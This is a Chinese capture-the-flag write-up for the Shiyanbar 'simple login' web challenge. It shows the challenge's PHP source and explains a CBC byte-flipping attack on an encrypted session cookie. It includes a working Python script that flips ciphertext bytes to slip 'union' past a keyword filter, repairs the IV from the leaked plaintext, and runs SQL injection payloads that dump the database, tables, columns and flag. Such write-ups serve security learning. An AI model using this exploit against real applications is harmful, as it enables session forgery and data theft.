实验吧 WEB 简单的登录题

知识点

CBC字节翻转攻击

0x01

查看消息头:
在这里插入图片描述得到源码:


define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
	if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
		return 1;
	}
	return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
	$iv = get_random_iv();
	$plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
	global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
            	$rows=mysqli_fetch_array($result);
				echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
			}
			else{
				echo '<h1><center>Hello!</center></h1>';
			}
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
		die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

define("METHOD", "aes-128-cbc"); 这一句提示加密方式是aes-128-cbc,为后面使用cbc字节翻转做铺垫。
读完源码后,可以大概知道做题流程如下:

  1. 输入参数id,对id进行过滤,返回base64转码后的iv和cipher;
  2. 设置cookie中的iv和cipher,重发请求报文,服务器使用iv和cipher以及SECRET_KEY解密得到plain,执行 $sql="select * from users limit ".$info['id'].",0";。(这里注意如果反序列化失败的话会输出反序列化之前的plain:$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");)问题在于这条语句无论怎样执行都没有返回结果。
  3. 提交id的时候替换被吃掉的关键词,比如union的其中一个字母,得到cookie中的iv和cipher,进行cbc翻转攻击,得到新的密文;
  4. 使用旧的iv和新的cipher提交一次得到无法反序列化的plain,通过脚本得到新的iv;
  5. 提交新的iv和新的cipher,服务器将解密得到我们想要的plain,在执行SQL语句前并不会再次吃掉敏感关键词。

0x02

cbc字节翻转攻击参考:
CBC字符翻转 原理与实战
此攻击方法的精髓在于:通过损坏密文字节来改变明文字节。(注:借助CBC内部的模式)借由此可以绕过过滤器,或者改变用户权限提升至管理员,又或者改变应用程序预期明文以尽猥琐之事。

通过以下php脚本得到需要翻转的字符的位移:

<?php 
$payload = "0 2nion select * from ((select 1)a join (select group_concat(table_name) from infromation_schema.tables where table_schema regexp database())b join (select 3)c);"; 
$info=array('id'=>$payload); 
$plain = serialize($info); 
for($i=0;$i<strlen($plain);$i++) 
{ 
	echo $plain[$i]; 
	if(($i+1)%16==0) echo "<br />"; 
} 
?>

通过以下python脚本进行sql注入:

# -*- coding:utf8 -*-
import base64	
import requests
import re
import urllib
url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"
payload ="0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0)
data = {'id':payload}
cookie = requests.post(url,data = data).headers['Set-Cookie']
iv = re.findall(r'iv=(.+),',cookie)[0]
cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))
iv_row =list(base64.b64decode(urllib.unquote(iv)))
cipher_row =list(cipher)
offset =6
cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))
cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))
cookies = {"iv" : iv,"cipher" : cipher_new}
mistake = requests.get(url,cookies = cookies).content
wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])
iv_new =''
plaintext ="a:1:{s:2:\"id\";s:"
for x in range(16):
	iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))
iv_new = urllib.quote(base64.b64encode(iv_new))
cookies2 = {"iv" : iv_new,"cipher" : cipher_new}
result = requests.get(url,cookies = cookies2).content
print result
#得到数据库名
payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)
#得到表名
payload ="0 2nion select * from ((select 1)a join (select group_concat(table_name separator '@') from information_schema.tables where table_schema regexp database())b join (select 3)c);"+chr(0)
#得到列名
payload ="0 2nion select * from ((select 1)a join (select group_concat(column_name separator '@') from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0)
#得到flag
payload ="0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0)

参考

实验吧web-简单的登录题

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值